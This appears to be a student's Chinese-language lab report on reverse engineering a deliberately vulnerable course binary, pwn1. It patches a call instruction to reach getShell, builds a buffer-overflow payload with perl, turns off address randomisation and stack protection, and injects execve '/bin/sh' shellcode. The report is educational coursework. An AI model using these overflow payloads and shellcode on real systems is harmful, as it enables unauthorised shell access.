20155312张竞予 Exp1 PC平台逆向破解(5)M
Exp1 PC平台逆向破解(5)M
目录
实验内容
实验知识概要
1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
通过反汇编指令objdump -d 20155312zjy
查看可执行文件20155312zjy的反汇编代码和对应的机器码,如下图所示:
我们不难发现:
- NOP汇编指令的机器码是“90”
- JNE汇编指令的机器码是“75”
- JE 汇编指令的机器码是“74”
- JMP汇编指令的机器码是“eb”
- CMP汇编指令的机器码是“39”
想要了解其他指令的机器码,可以参考汇编指令和机器码的对应表
2.掌握反汇编与十六进制编程器
- 反汇编指令是“objdump -d objfile” ,其中
-d
参数是
从objfile中反汇编那些特定指令机器码的section,和它类似的还有-D
参数,但它反汇编所有section。- 如果我们想要以全屏幕的方式按页显示反汇编的内容,可以利用“管道”,即在反汇编指令后添加
| more
,这样我们就可以利用more的一些快捷键,如:Enter(向下翻滚一行),空格(向下滚动一屏),Q(退出命令)
- 如果我们想要以全屏幕的方式按页显示反汇编的内容,可以利用“管道”,即在反汇编指令后添加
- 十六进制编程器,是用来以16进制视图进行文本编辑的编辑工具软件。其实我们只需要用各系统都兼容的“vim”编辑器就可以实现十六进制编辑的功能。具体步骤如下:
- ① 输入命令
vi 20155312zjy
查看可执行文件内容,发现大部分是我们没法理解的乱码; - ② 按esc后输入
:%!xxd
将显示模式切换为16进制模式; - ③ 进行相关操作后,输入
:%!xxd -r
转换16进制为原格式。
- ① 输入命令
3.能正确修改机器指令改变程序执行流程
4.能正确构造payload进行bof攻击
实验步骤及结果
一、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
- 用反汇编指令
objdump -d 20155312zjy
指令查看可执行文件20155312zjy(pwn1的副本)的反汇编结果; - 锁定需要改的目标代码
80484b5: e8 d7 ff ff ff call 8048491 <foo>
- 对比getShell函数的地址
0804847d
和foo函数的地址08048491
,可以发现两地址之差为十六进制“14”; - 分析call汇编指令的机器码,可以锁定e8这个字节为代码部分,代表call这个指令,后面的“d7 ff ff ff”这四个字节为数值部分,代表指令跳转时需要与“eip”寄存器相加的偏移量;
- 由于数值存储方式为小端方式,所以锁定需要改的字节为“d7”,将它与地址差“14”做减法运算后的值为“c3”;
- 用vim编辑器打开20155312zjy文件
vi 20155312
; - 将该文件转换为十六进制显示
:%!xxd
; - 用
/e8d7
查找需要修改的内容; - 修改d7为c3;
- 转换16进制为原格式:
:%!xxd -r
; - 保存并退出;
- 反汇编看一下,发现call指令正确调用getShell;
- 运行zjy20155312,截图如下:
至此完成了修改机器指令改变程序执行的流程。
二、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
实验步骤如下:
1.分析代码,发现foo函数存在Buffer overflow漏洞
2.foo函数中读入字符串,但系统只预留了32字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址;
3.正常情况下call调用foo,同时在堆栈上压上返回地址值:0x80484ba;
4.确认输入字符串哪几个字符会覆盖到返回地址;
5.用gdb调试程序,输入有规律的字符串如“1111111122222222333333334444444412345678”
6.缓冲区溢出,程序停止执行,堆栈保持当前状态;
7.用info r
查看寄存器eip的值,看输入的哪个字节覆盖了它,锁定“1234”这四个字节;
8.由于1234 那四个数最终会覆盖到堆栈上的返回地址,所以我们要用getshell的地址0x0804847d
替换它;
9.由于数据的小端方式存储,我们要在32字节后输入\x7d\x84\x04\x08
这四个字节来覆盖返回地址为getshell的地址;
10.输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
将字符串用perl脚本语言写入input文件;
11.用xxd input
以16进制显示input文件,检查写入地址的正误;
12.确认无误后用(cat input;cat) | ./20155312zjy2
来将改字符串作为可执行文件的输入。
三、注入一个自己制作的shellcode并运行这段shellcode
1.准备工作:用execstack -s pwn1
设置堆栈可执行;
2.execstack -q pwn1
查询文件的堆栈是否可执行;
3.more /proc/sys/kernel/randomize\_va\_space 2
4.echo "0" > /proc/sys/kernel/randomize\_va\_space
关闭地址随机化;
5.more /proc/sys/kernel/randomize\_va\_space 0
6.完成准备工作,我们要明确自己的目的是将shellcode代码写入buffer(缓冲区足够大),或把shellcode放在返回地址后(缓冲区小),把返回地址改为buffer的首地址;
7.打开终端让可执行文件20155312zjy2在运行状态,再开一个终端;
8.用ps -ef | grep 20155312zjy2
来显示与20155312zjy2有关的进程列表,从而确定正在执行的进程的进程号2195;
9.用gdb调试程序;
10.用attach 2195
与进程建立连接;
11.用info r
查看寄存器的值,其实此时我们可以通过栈顶的地址计算出buffer的首地址,我们先不算,继续后续操作;
12.用disassemble foo
反汇编foo函数
13.用break *0x080484a5
在输入后输出前设置断点;
14.c
即continue继续
15.运行程序的一段输入字符串,如12345678,为了确定buffer的首地址,我们只需要找到“1”这个字节的地址即可;
16.用info r
查看esp栈顶指针的地址;
17.用x/16x 0xffecafc0
以16进制查看esp寄存器地址开头的内存中的值;
18.找到buffer在堆栈中的位置,计算出地址为0xffecafdc
;
19.如果我们要在返回地址前注入,就需要用perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\xdc\xaf\xec\xff\x00"' > input_shellcode
这个语句,返回地址对应其中的“\xdc\xaf\xec\xff”,shellcode代码为“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\”;
20.接着用同样的方法将input_shellcode文件中的内容作为20155312zjy2这个文件执行时的输入即可。
至此,完成了构造payload进行bof攻击。
问题及解决方案
- 问题1:
./pwn1
执行pwn1会出现[ bash: ./pwn1:没有那个文件或目录]的提示,但是ls命令又能看到存在pwn1文件。 - 解决:参考教程64位Kali无法顺利执行pwn1问题的解决方案,总结过程如下:
①修改更新源sources.list
- 添加下列更新源到
/etc/apt/sources.list
文件
\#阿里云kali源
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free
deb-src http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free
\#中科大kali源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
deb-src http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
- 对软件进行一次整体更新
apt-get clean
apt-get update
apt-get upgrade
②安装32位运行库
apt-get install lib32ncurses5
运行后会等待一会会出现如下提示界面,这时按一下回车就好了:
- 问题2:在解决问题1时,运行
apt-get upgrade
时提示“有未能满足的依赖关系” - 解决:按照系统提示,运行
apt --fix-broken install
即可,如下图所示,待执行完毕进行后续操作即可。
实验感想
1.我的收获
第一次动手修改机器码,应用了上学期深入理解计算机系统中Y86-64指令集体系结构中的相关知识,发现知识的相关性很容易帮助我们理解更多的内容;第一次动手实现缓冲区溢出攻击,终于理解了堆栈是这么被恶意代码覆盖的,覆盖后是怎么实现跳转的,跳转后是怎么执行的。
2.什么是漏洞?漏洞有什么危害?
通过这次实验,我发现缓冲区溢出漏洞是在程序设计时,由于没有考虑到输入超出栈分配的空间的情况,被攻击者利用造成的,这些漏洞可能一方面与程序设计有关,一方面还与计算机本身的设置和属性有关,比如要想构造payload进行bof攻击,必须提前更改相关设置,让堆栈中的代码可执行,这也可以体现出计算机设置不足也会给攻击者提供机会。危害很大,被攻击的计算机可能会进入命令行模式,从而攻击者可以对文件进行任意的操作,也可能会执行相关的恶意代码,为木马植入、后门设置提供条件。
参考资料
20155312张竞予 Exp1 PC平台逆向破解(5)M的更多相关文章
- 20155325 Exp1 PC平台逆向破解(5)M
Exp1 PC平台逆向破解(5)M 阶段性截图 基础知识 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 汇编指令 作用 机器码 NOP "空指令".执行到NOP ...
- 20165214 2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解 Week3
<网络对抗技术>Exp1 PC平台逆向破解之"逆向及Bof基础实践说明" Week3 一. 实验预习 1.什么是漏洞?漏洞有什么危害? 漏洞就是在计算机硬件.软件.协议 ...
- 2018-2019-2 20165312《网络攻防技术》Exp1 PC平台逆向破解
2018-2019-2 20165312<网络攻防技术>Exp1 PC平台逆向破解 一.Exp1.1 直接修改程序机器指令,改变程序执行流程 知识要求:Call指令,EIP寄存器,指令跳转 ...
- 2017-2018-2 《网络对抗技术》 20155322 第二周 Exp1 PC平台逆向破解(5)M
#2017-2018-2 <网络对抗技术> 20155322 第二周 Exp1 PC平台逆向破解(5)M [博客目录] 1-实践目标 1.1-实践介绍 1.2-实践内容 1.3-实践要求 ...
- 20155324《网络对抗》Exp1 PC平台逆向破解(5)M
20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...
- 2018-2019-2 20165237《网络攻防技术》Exp1 PC平台逆向破解
2018-2019-2 20165237<网络攻防技术>Exp1 PC平台逆向破解 一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调 ...
- 20165221 《网络对抗技术》EXP1 PC平台逆向破解
20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...
- 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...
- 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解
- 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...
随机推荐
- JAVA版本微信管家平台—JeeWx 捷微 4.1 微服务版本发布,微信砍价活动闪亮登场!
捷微 4.1 微服务版本发布,微信砍价活动闪亮登场 ^_^ JEEWX 从4.0版本开始,技术架构全新换代更名 “捷微H5”.这是一款开源免费的微信运营平台,是jeewx的新一代产品,平台涵盖了: ...
- MYSQL5.7脚本运行时出现[Warning] Using a password on the command line interface can be insecure
MYSQL版本:5.7 在写linux脚本执行MYSQL命令的时候,如果使用 MYSQL="mysql -hlocalhost -P3306 -uroot -p666666" 登陆 ...
- my题库
数论: 51nod 1240 莫比乌斯函数 51nod 1135 原根 图论: 51nod 1264 线段相交 51nod 1298 圆与三角形 dp: 数位dp: hdu 4734 51nod 10 ...
- AX2009里调用.NET DLL的效率问题
经常在AX2009里引用.NET的DLL,因为序列化和反序列化,用.NET的定义的实体方便一些,平时数据量不大,也没觉得有什么问题,今天要把几万条数据从数据库中取出来序列化以后,调用第三方系统的接口, ...
- True和数字相加的结果
num = 5 print(num + True) # 其结果为6
- 聊聊JMM
JMM是什么? JMM 全称 Java memory model ,直译过来就是Java内存模型,这里注意了,指到并不是JVM中的内存分布新生代.老年代.永久代这些,当然也不是 程序计数器(PC).j ...
- Java开发经常容易犯的错误
调用Set.addAll()方法时抛UnsupportedOperationException异常 上面的Set是Map中keySet的返回结果. 程序中这样两句代码运行时,抛UnsupportedO ...
- PhoenixFD插件流体模拟——UI布局【Dynamics】详解
流体动力学 本文主要讲解Dynamics折叠栏中的内容.原文地址:https://docs.chaosgroup.com/display/PHX3MAX/Liquid+Dynamics 主要内容 Ov ...
- Linux - 远程管理常用命令
远程管理常用命令 目标 关机/重启 shutdown 查看或配置网卡信息 ifconfig ping 远程登录和复制文件 ssh scp 01. 关机/重启 序号 命令 对应英文 作用 01 shut ...
- HTML导出Excel文件(兼容IE及所有浏览器)
注意:IE浏览器需要以下设置: 打开IE,在常用工具栏中选择“工具”--->Internet选项---->选择"安全"标签页--->选择"自定义级别&q ...